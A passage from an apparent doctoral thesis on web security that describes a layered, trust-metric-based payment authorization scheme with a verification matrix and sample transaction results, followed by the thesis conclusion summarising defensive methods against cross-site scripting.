case as n=4, at least 2 variables should have Min value, the other trust metric value being 

“Mod” and the Password Reset History should be with “True” to be authorized by this 

level.  

7.8.2 Intermediate Layer 

Intermediate Layer profile is to authorize the transactions with the combination of Mod or 

Max, but Mod being assigned to more number of trust metrics or equal number of trust 

metrics as Max for that transaction. 

Y 

N 

 

Initial 

Assessed 

Complete 

Authorization 

process 

Stop 

Authorize 

Reject 

Risk factor 

zero 



    

 156 

7.8.3 Final or Terminal Layer:  

Max value for majority of the trust metrics indicates the high level of risk and hence 

would require an authorization form this level.  

 

The transaction is assigned to primary level when the risk factors are the least with the 

most of the values ‘Min’ as detailed in Table 27:  

 

Any Transaction that satisfies the conditions of the trust metrics as in Table 27 is 

permitted by the corresponding authorization level based on verification.  

 

In table 27, the trust metrics values of Minimum, Moderate and Maximum are 

represented as Min, Mod and Max respectively. PRH denotes Password reset history.  

Authorization column in Table 27 represents the layer of authorization needed for those 

trust metrics values.  

Table 27: Payment Verification Matrix. 

St

at

es 

Cost Frequency of  

transactions 

Location PRH Authoriz

ation 

layer 

Min Mod Max Min Mod Max Min Mod Max A 

Peri

odic 

 

1.  √   √   √   √ Primary 

2.  √    √  √   √ Primary 

3.  √     √ √   √ Interme

diary 

4.  √   √    √  √ Primary 

5.  √    √   √  √ Interme

diary 



    

 157 

6.  √     √  √  √ Interme

diary  

7.  √   √     √ √ Interme

diary 

8.  √    √    √ √ Interme

diary 

9.  √     √   √ √ Final 

10.   √  √   √   √ Primary 

11.   √   √  √   √ Interme

diary 

12.   √    √ √   √ Interme

diary 

13.   √  √    √  √ Interme

diary 

14.   √   √   √  √ Interme

diary 

15.   √    √  √  √ Interme

diary 

16.   √  √     √ √ Interme

diary 

17.   √   √    √ √ Interme

diary 

18.   √    √   √ √ Interme

diary 

19.    √ √   √   √ Interme

diary 

20. 1 

 

  √  √  √   √ Interme

diary 

21.    √   √ √   √ Final 
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22.    √ √    √  √ Interme

diary 

23.    √  √   √  √ Interme

diary 

24.    √   √  √  √ Final  

25.    √ √     √ √ Final  

26.    √  √    √ √ Final  

27.    √   √   √ √ Final  

 

7.9 Implementation of the proposed approach 

For testing the proposed authorization procedure, data for five users holding ICICI, 

HSBC and CITI Bank credit cards in respect of the four trust metrics were collected for a 

period of one and a half years. The authors have implemented the proposed approach 

using the macros programming in excel. The mean, standard deviation of the trust metrics 

Cost, Frequency of transactions and Location were estimated. The estimated parameters 

of a customer are given in the following table 28:  

 

Table 28: Mean and Standard deviation of a customer 

Trust Metrics Mean Standard Deviation 

Cost 674.07 819.9 

Frequency of 

Transactions 

3.36 2.07 

Location Chennai, Netherlands N/A 

Password Reset 

History 

Periodic Periodic 
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Consider the following five transactions: 

The standard deviation was calculated based on all the previous months’ transactions and 

was revised every month for authorization of payments for the current month. 

Here we present 5 transactions that required authorization from the sample. 

 

Table 29: Calculated Risk Factors for the transactions that needed authorization for the 

customer 

Transaction Cost Frequency of 

Transactions 

Location Password 

reset 

1 3,199.0 2 Chennai India Not Set 

2 2106.52 11 Chennai India Set 

3 1828.13 3 Chennai India Not Set 

4 512.5 1 Chennai India Not Set 

5 816.27 4 Chennai India Not Set 

 

Using the authorization level matrix given in Table 27, the risk factors are derived and 

the authorization level is determined for the transactions as could be seen in Table 30:  

 

Table 30: Transactions and the derived authorization levels out of payment verification 

matrix. 

Transact 

icon 

Trust Metrics Authorization Level 

 Cost Frequency 

of 

transactions 

Location Password 

reset 

History 

 

1 Mod No Risk No Risk No Risk Intermediate 

2 Mod Max No Risk Max  Final 

3 Min No Risk No Risk No Risk Primary 
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4 No Risk No Risk No Risk No Risk No Risk 

5 No Risk No Risk No Risk No Risk No Risk 

 

The cost value of the first transaction mentioned in the table 30 satisfies the equation 

(µ+3SD)>Xi>(µ+2SD), and hence it is assigned a moderate risk factor. There is no 

deviation in Frequency and password reset for the transaction for that customer. Hence, 

this would be authorized by the Intermediate layer as the deviation is not major and only 

one parameter is assigned a Mod value.  Like wise the rest of the matrix is constructed 

out of the payment verification matrix as described in Table 27.  

 

In the proposed model mean and standard deviation of the 4 trust metrics of a customer is 

periodically updated including the last transaction. Hence the difficulty encountered by 

Daniel W. Manchala in terms of Contour analysis [234] becomes difficult and hacking 

many accounts in one instance is totally controlled.  

7.10 Conclusion 

A new improved trust metrics based on authorization model for e-commerce proposed 

takes care of the all possible risks of hacking. Redefining the location trust metric and 

including Password reset history in trust metric over comes the risks encountered by the 

earlier trust metrics based authorization techniques.  

 

The model is not prone to contour analysis since parameter analysis takes place in a 

secured internal environment of e-commerce network. The proposed authorization model 

will save the e-commerce transactions from the hands of hackers.  
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The solution approach developed  is published in the Proceedings of Advances in 

Intelligent Web Mastering, Proceedings of the 5th Atlantic Web Intelligence Conference 

– AWIC’2007, France,  Published in Journal: Advances in Soft Computing, ISBN 978-3-

540-72574-9, Springer, pp. 322-328 [245].  

 



    

 162 

Chapter 8 

Conclusion  

8.1 Highlights of the work done 

The problem of developing security solutions to the web application involving financial 

services as well as non financial services, taking into account the limitations of the earlier 

solutions provided by the researchers as discussed in Chapter 2 was addressed in this 

research work. Four different models and solution approaches have been developed to 

solve the XSS vulnerabilities of web application with different aspects. The methods and 

solution procedures were evaluated using real life data as presented in Chapters 3-7.  

 

Specific contributions of this research 

 Proposed a Service Oriented Architecture based solution to prevent XSS 

vulnerabilities for the web applications developed in different languages [235]. 

 In addition, SOA based solution addresses the XSS vulnerabilities that arise from 

other input sources apart from the web browsers [236].  

 The security solutions are proposed for financial and non-financial web 

applications and further the solutions are based on the need for which the web 

application is built.  

 XSS threats are categorized under four heads namely HTML element attack, 

Character encoding attack, embedded character attack, and event handler attack 

[237]. 

 Application parameters are introduced at the server side and they are 

characterized with four characteristics namely Severity level, Maximum number 

of characters allowed, encoding and character-set to address the varied nature of 

web application.  
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 Configurable method is introduced to protect the application from zero-day 

threats [238].   

 In earlier contributions web pages are modified to incorporate the security 

mechanisms at a page level. In this work, clusters are introduced at the server side 

to eliminate the need for modifying the web pages when a threat is introduced 

[239,240].  

 Behavior based anomaly detection is proposed to improve the performance for 

HTTP requests [241, 242].   

 Intrusion Detection Parameters and Intrusion Detection States are elicited at 

application level [243]. 

 Blocking mechanisms are proposed to block hacker’s evasion mechanisms [244].  

 Defined a new trust metric, Password reset history parameter in addition to the 

trust metrics defined in the earlier works and suggested a new approach using 

these parameters. 

 Authorization levels are suggested to identify the bogus transactions at the server 

side. 

 Control limit is purported and a risk factor is defined to assess the deviation of the 

trust parameters.  

 For Authorization of transactions, the layers primary, Intermediate and Terminal 

layers are introduced.  

 Payment Verification Matrix is described by newly defined risk factor values 

mapped to the trust parameters to derive authorization level [245]. 

8.2 Direction for Future Research 

XSS attacks cause severe problems for web application security and privacy. In this 

dissertation, we addressed several advanced anti-XSS technologies systematically. We 

addressed the potential XSS attacks and proposed to solve these XSS attacks with factor 

analysis based decision trees to block Cross Site Scripting (XSS) for variety of web 

applications, Service Oriented Architecture to prevent XSS for the web applications 
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developed in various languages, Behavior-based anomaly detection on the server side to 

reduce the effectiveness of zero-day Cross Site Scripting vulnerabilities and Thread based 

Intrusion Detection and Prevention System to detect XSS threats and Application Worms.  

 

New algorithms can be developed to prevent the XSS encoded attacks and to address the 

evasion mechanisms.  

 

XSS attacks have severe negative impacts for the web applications and criminal attacks 

are still evolving. The XSS solutions defined in the research addresses 108 variants of 

XSS vulnerabilities given in the Appendix. In future if new variances are traced, we 

cannot confidently claim that the solution developed will address the new vulnerabilities 

also. However, the new vulnerability may be addressed by extending the proposed 

methods through further research. 
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Appendices 
 

1. List of vulnerable sites collected from various research sites, white-hat and black 

hat sites.  

2. Technical design document for Thread based Intrusion Detection and Prevention 

System for Cross site Vulnerabilities and Application Worms. 

3. XSS Vulnerable input analysis metrics. 

4. Implementation manual for Thread based Intrusion Detection and Prevention 

System for Cross site Vulnerabilities and Application Worms. 

[Note:  A CD containing the above documents is attached with this thesis]. 
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